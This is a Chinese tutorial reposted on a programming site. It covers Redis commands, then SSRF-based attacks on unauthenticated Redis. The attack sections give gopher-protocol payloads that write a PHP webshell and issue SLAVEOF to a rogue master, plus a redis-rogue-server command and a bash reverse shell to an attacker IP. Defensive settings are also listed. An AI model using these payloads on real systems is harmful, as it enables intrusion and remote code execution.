基礎知識《Redis解析》

Redis 詳細解析與介紹

Redis(Remote Dictionary Server)是一個開源的高性能鍵值對(Key-Value)數據庫,支持多種數據結構(如字符串、哈希、列表、集合等),廣泛應用于緩存、消息隊列、實時數據分析等場景。

核心特點:
  1. 內存存儲:數據主要存儲在內存中,讀寫性能極高(10萬+/秒 QPS)。
  2. 持久化支持:支持 RDB(快照)和 AOF(追加日志)兩種持久化方式。
  3. 多數據結構:支持字符串、哈希、列表、集合、有序集合等。
  4. 單線程模型:避免鎖競爭,通過異步I/O處理高并發。
  5. 高可用與集群:支持主從復制、哨兵模式(Sentinel)和集群模式(Cluster)。

Redis 常用命令大全

1. 通用命令
命令說明示例
KEYS pattern匹配所有符合模式的鍵KEYS user:*
DEL key刪除指定鍵DEL user:1
EXPIRE key seconds設置鍵的過期時間(秒)EXPIRE user:1 60
TTL key查看鍵剩余過期時間TTL user:1
TYPE key查看鍵的數據類型TYPE user:1
2. 字符串(String)
命令說明示例
SET key value設置鍵值SET name "Alice"
GET key獲取鍵值GET name
INCR key鍵值自增1INCR counter
APPEND key val追加字符串APPEND name " Smith"
3. 哈希(Hash)
命令說明示例
HSET key field val設置哈希字段值HSET user:1 name "Alice"
HGET key field獲取哈希字段值HGET user:1 name
HGETALL key獲取所有字段和值HGETALL user:1
4. 列表(List)
命令說明示例
LPUSH key val從列表左側插入元素LPUSH tasks "task1"
RPOP key從右側彈出元素RPOP tasks
LRANGE key s e獲取列表范圍元素LRANGE tasks 0 -1
5. 集合(Set)
命令說明示例
SADD key member添加元素到集合SADD tags "redis"
SMEMBERS key獲取集合所有元素SMEMBERS tags
SINTER key1 key2求兩個集合的交集SINTER tags1 tags2

SSRF漏洞利用與Redis相關命令

什么是SSRF?

SSRF(Server-Side Request Forgery)是攻擊者誘使服務器向內部或第三方系統發起惡意請求的漏洞。結合未授權訪問的Redis服務,攻擊者可通過SSRF執行高危操作。

Redis SSRF利用場景
  1. 目標環境

    • Redis未設置密碼(默認無認證)。
    • Redis服務暴露在內網或公網(默認端口6379)。
  2. 攻擊步驟

    • 探測Redis服務:通過SSRF訪問 http://victim.com/ssrf?url=redis://內網IP:6379
    • 執行惡意命令:利用Redis協議發送命令,如寫入Webshell、反彈Shell等。
高危Redis命令與利用

以下命令常被用于攻擊:

命令利用場景
FLUSHALL清空所有數據,為后續攻擊做準備。
CONFIG SET dir /path設置Redis持久化目錄(如Web目錄)。
CONFIG SET dbfilename設置持久化文件名(如寫入Webshell shell.php)。
SET key "惡意代碼"寫入惡意內容到數據庫。
SAVE觸發持久化操作,將數據寫入文件(如生成Webshell)。
MODULE LOAD /path.so加載惡意Redis模塊(需提前上傳)。
SLAVEOF host port設置主從復制,從惡意服務器同步數據(用于RCE)。
EVAL "lua腳本" 0執行Lua腳本(可能用于漏洞利用)。
攻擊案例:通過SSRF寫入Webshell
# 通過Gopher協議發送Redis命令(需URL編碼)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
  1. Redis安全配置

    • 設置密碼認證(requirepass)。
    • 禁用高危命令(通過 rename-command 重命名或禁用)。
    • 限制綁定IP(bind 127.0.0.1)。
  2. SSRF防護

    • 校驗用戶輸入的URL,禁止訪問內網IP和敏感端口。
    • 使用白名單域名/IP限制請求目標。

Redis 主從復制攻擊詳解整合

主從復制攻擊原理

Redis 主從復制(Replication)機制允許從節點(Slave)同步主節點(Master)的數據。攻擊者可利用此特性,強制目標Redis作為從節點連接到攻擊者控制的惡意主節點,通過同步惡意數據(如加載動態模塊或寫入Webshell),最終實現遠程代碼執行(RCE)。

攻擊前提條件
  1. Redis未授權訪問:目標Redis無密碼認證或密碼被破解。
  2. SSRF漏洞存在:可通過SSRF觸發Redis協議交互(如gopher://dict://)。
  3. 目標Redis支持模塊加載(4.x以上版本)或允許文件寫入(如Web目錄可寫)。
攻擊步驟與命令
1. 準備惡意主節點
  • 使用工具搭建惡意Redis主節點(如Redis Rogue Server):
    python3 redis-rogue-server.py --rhost <目標IP> --rport 6379 --lhost <攻擊者IP> --lport 21000
    
    • 該工具會自動生成惡意模塊(.so文件),通過主從復制同步到目標Redis。
2. 強制目標Redis成為從節點

通過SSRF發送SLAVEOF命令,將目標Redis設置為惡意主節點的從節點:

# 通過Gopher協議發送SLAVEOF命令(需URL編碼)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻擊者IP長度>%0d%0a<攻擊者IP>%0d%0a$5%0d%0a21000%0d%0a
  • 關鍵命令SLAVEOF <攻擊者IP> <端口>
3. 數據同步與惡意模塊加載
  1. 目標Redis連接惡意主節點后,自動同步數據。
  2. 惡意主節點發送包含惡意模塊(如exp.so)的備份文件。
  3. 通過MODULE LOAD命令加載惡意模塊,執行任意命令:
    MODULE LOAD ./exp.so
    system.exec "id"  # 通過模塊函數執行系統命令
    
自動化利用工具
  • Redis Rogue Server:一鍵化主從復制攻擊工具,支持RCE。
  • Redis SSRF Exploit:通過SSRF直接發送Payload,無需公網IP。
防御措施
  1. 禁用高危命令
    redis.conf中禁用SLAVEOFMODULE相關命令:
    rename-command SLAVEOF ""
    rename-command MODULE ""
    
  2. 啟用認證
    強制使用密碼訪問:
    requirepass <強密碼>
    
  3. 網絡隔離
    • 限制Redis僅監聽內網(bind 127.0.0.1)。
    • 防火墻規則禁止外部訪問Redis端口(6379)。
  4. 最小化模塊功能
    非必要場景禁用Redis模塊加載。
攻擊案例演示
  1. 場景:存在SSRF漏洞的Web應用,內網Redis未授權訪問。
  2. 利用
   # 通過SSRF發送SLAVEOF命令http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
  1. 結果:目標Redis加載惡意模塊,攻擊者執行system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"反彈Shell。

Redis 模塊管理

一、模塊管理命令
  1. MODULE LIST
    查看當前已加載的所有模塊,返回模塊名稱、版本及描述信息。例如:

    MODULE LIST
    

    該命令常用于確認模塊是否加載成功。

  2. MODULE LOAD <path> [arg1 arg2 ...]
    動態加載指定路徑的模塊(.so文件),支持傳遞參數到模塊的 RedisModule_OnLoad 函數。例如:

    MODULE LOAD /path/to/my_module.so arg1 arg2
    

    參數會通過 argvargc 傳遞給模塊的初始化函數 。

  3. MODULE UNLOAD <module-name>
    卸載指定名稱的模塊(需使用模塊注冊時的名稱,而非文件名)。例如:

    MODULE UNLOAD my_module
    

    若模塊定義了 RedisModule_OnUnload 函數,卸載時會自動調用該函數進行資源清理 。

二、配置文件加載模塊

在 Redis 啟動時通過 redis.conf 配置文件加載模塊:

loadmodule /path/to/module.so [arg1 arg2 ...]

此方式適合生產環境,確保模塊隨 Redis 服務啟動自動加載。


Redis CONFIG SET 命令的核心功能、用法及注意事項

一、命令功能

CONFIG SET 允許在 Redis 不重啟 的情況下動態修改服務器配置參數,適用于調整內存限制、持久化策略、日志行為等場景。
主要特性

  1. 實時生效:修改的參數會立即加載并影響后續操作。
  2. 支持參數廣泛:涵蓋大多數 redis.conf 中的配置項(如 maxmemorysaveappendonly 等)。
  3. 靈活性:支持從 RDB 快照切換為 AOF 持久化,或同時啟用兩者。
二、語法與基本用法
語法
CONFIG SET parameter value [parameter value ...]  
  • 單參數設置CONFIG SET maxmemory 4gb
  • 多參數設置(Redis 7.0+):CONFIG SET maxmemory 4gb save "900 1 300 10"

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/73460.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/73460.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/73460.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

區跨鏈知識和概念

1、以太坊 Geth 源碼解析 Geth&#xff08;Go Ethereum&#xff09;是以太坊官方提供的 Go 語言實現的客戶端&#xff0c;廣泛用于以太坊全節點運行、挖礦、DApp 開發等。理解 Geth 的源碼有助于掌握以太坊區塊鏈底層邏輯&#xff0c;如區塊同步、EVM 執行、P2P 交互等。 2、…

Vue 計算屬性與 Data 屬性同名問題深度解析

文章目錄 1. 問題背景與核心概念1.1 Vue 響應式系統架構1.2 核心概念定義 2. 同名問題的技術分析2.1 同名場景示例2.2 問題發生機制 3. 底層原理剖析3.1 Vue 初始化流程3.2 響應式系統關鍵代碼 4. 問題解決方案4.1 最佳實踐建議4.2 錯誤處理機制 5. 性能影響分析5.1 遞歸調用性…

Mybatis——基礎操作、動態SQL

目錄 一.基礎操作 1.刪除 2.新增 3.更新 4.查詢 5.XML映射文件 二、動態SQL 1.<if> 2.<where> 3.<set> 4.<foreach> 5.<sql> 6.<include> 一.基礎操作 1.刪除 參數占位符&#xff1a; 注意&#xff1a; #{...}相比于${...}…

[設計模式]1_設計模式概覽

摘要&#xff1a;設計模式原則、設計模式的劃分與簡要概括&#xff0c;怎么使用重構獲得設計模式并改善代碼的壞味道。 本篇作概覽與檢索用&#xff0c;后續結合源碼進行具體模式深入學習。 目錄 1、設計模式原理 核心原則&#xff08;語言無關&#xff09; 本質原理圖 原…

C語言數據類型取值范圍及格式化符號

一、數據類型取值范圍與格式化輸出符號表格 數據類型大小&#xff08;字節&#xff09;取值范圍格式化輸出符號char1-128到127<br>或0到255&#xff08;如果聲明為unsigned char&#xff09;%c (字符)<br>%hhu (無符號)signed char1-1.2810到1.2710%hhd (有符號)u…

2024華東師范大學計算機復試上機真題

2024華東師范大學計算機復試機試真題 2023華東師范大學計算機復試機試真題 2022華東師范大學計算機復試機試真題 2024華東師范大學計算機復試上機真題 2023華東師范大學計算機復試上機真題 2022華東師范大學計算機復試上機真題 在線評測&#xff1a;傳動門&#xff1a;pgcode…

星越L_內后視鏡使用講解

目錄 1內后視鏡角度調節 2,防炫目功能

Spring Boot應用首次請求性能優化實戰:從數據庫連接池到JVM調優

目錄 問題現象與背景分析性能瓶頸定位方法論數據庫連接池深度優化Spring Bean生命周期調優JVM層性能預熱策略全鏈路監控體系建設生產環境驗證方案總結與擴展思考1. 問題現象與背景分析 1.1 典型問題場景 在某互聯網金融項目的Spring Boot應用上線后,運維團隊發現一個關鍵現象…

【深度解析:以“不要的心態”獲取所求的本質邏輯】

深度解析&#xff1a;以“不要的心態”獲取所求的本質邏輯 一、文化基因&#xff1a;禮讓傳統與權力合法性的雙重編碼 儒家倫理的深層滲透 孔子提出"禮之用&#xff0c;和為貴"&#xff0c;將"辭讓"納入"仁義禮智信"的道德體系。《禮記》明確記…

C++【類和對象】(結束篇)

C類和對象 1.static成員2.友元3.內部類4.匿名對象5.對象拷貝時的編譯器優化 1.static成員 用static修飾的成員變量叫做靜態成員變量&#xff0c;靜態成員一定要在類外進行初始化。靜態成員變量為所有類的共享&#xff0c;放入靜態區&#xff0c;不屬于某個具體對象&#xff0c…

每日一題---腐爛的蘋果(廣度優先搜索)

腐爛的蘋果 給定一個 nm nm 的網格&#xff0c;其中每個單元格中可能有三種值中的一個 0 , 1 , 2。 其中 0 表示這個格子為空、1 表示這個格子有一個完好的蘋果&#xff0c;2 表示這個格子有一個腐爛的蘋果。 腐爛的蘋果每分鐘會向上下左右四個方向的蘋果傳播一次病菌&…

maven筆記

maven介紹和作用 Maven 是一款為 Java 項目構建管理、依賴管理的工具&#xff08;軟件&#xff09;&#xff0c;使用 Maven 可以自動化構建、測試、打包和發布項目&#xff0c;大大提高了開發效率和質量。 主要作用的理解&#xff1a; 依賴管理&#xff1a; 在編寫項目時我…

模板-C++提高編程

C的一種編程思想稱為泛型編程&#xff0c;用到的技術就是模板 C提供兩種模板&#xff1a;函數模板和類模板。 1.函數模板 1.函數模板作用 建立一個通用函數&#xff0c;其返回值類型和形參類型可以用一個虛擬的類型來代替,提高代碼復用性&#xff0c;將類型參數化。 2.語法…

基于Asp.net的物流配送管理系統

作者&#xff1a;計算機學姐 開發技術&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源碼”。 專欄推薦&#xff1a;前后端分離項目源碼、SpringBoot項目源碼、Vue項目源碼、SSM項目源碼、微信小程序源碼 精品專欄&#xff1a;…

順序表和鏈表的對比(一)

前言 今天給小伙伴們分享的是在數據結構中順序表和鏈表的對比。它們在計算機科學和軟件開發中具有廣泛的應用&#xff0c;是理解更復雜數據結構&#xff08;如棧、隊列、樹、圖等&#xff09;的基礎。這次將會給大家從定義初始化&#xff0c;以及功能增刪查改上進行詳細對比&a…

星越L_外后視鏡使用講解

目錄 1.外后視鏡調節 2后視鏡折疊 3.后視鏡加熱 1.外后視鏡調節 L控制左邊后視鏡調節,上下撥動調整視野,一般此鏡左右21分,上下55開。 R控制左邊后視鏡調節,上下撥動調整視野,一般此鏡左右13分,上下55開。 2后視鏡折疊 車輛解鎖自動展開 車輛關閉自動折疊 嚴寒天氣…

DevOps實踐:持續集成與持續部署完全指南

文章目錄 引言&#xff1a;從人工到自動化的進化革命一、CI/CD核心認知升級1.1 持續集成 vs 持續部署 vs 持續交付1.2 中小團隊為什么要實施CI/CD&#xff1f; 二、CI/CD工具鏈選型指南2.1 中小團隊推薦技術棧2.2 工具對比決策矩陣 三、實戰五步構建企業級流水線3.1 基礎環境搭…

【數據結構】數據結構,算法 概念

0.本篇問題&#xff1a; 數據、數據元素、數據對象、數據項之間的基本關系&#xff1f;ADT是什么&#xff1f;數據結構的三要素&#xff1f;數據的邏輯結構有哪些&#xff1f;數據的存儲結構有哪些&#xff1f;算法的五個特征&#xff1f;O(1) O(logn) O(n^n) O(n) O(n^2…

同步Oracle及mysql至KADB的KFS配置文件參考

Oracle源端flysync.ini文件 注意&#xff1a;oracle用戶名大寫 mysql源端flysync.ini文件 附&#xff1a;目標端KADB的flysync.ini文件 [m_kes_3113] 源端為KES kufl-port3113 datasource-typekingbase rolemaster replication-host10.4.43.53 replication-port54321 …

PECL(Positive Emitter-Coupled Logic)電平詳解

一、PECL電平的定義與核心特性 PECL&#xff08;正射極耦合邏輯&#xff09;是一種基于 射極耦合邏輯&#xff08;ECL&#xff09;技術 的高速差分信號標準&#xff0c;采用 正電源供電&#xff08;如5V或3.3V&#xff09;。其核心特性包括 高速傳輸、低噪聲、強抗干擾能力&am…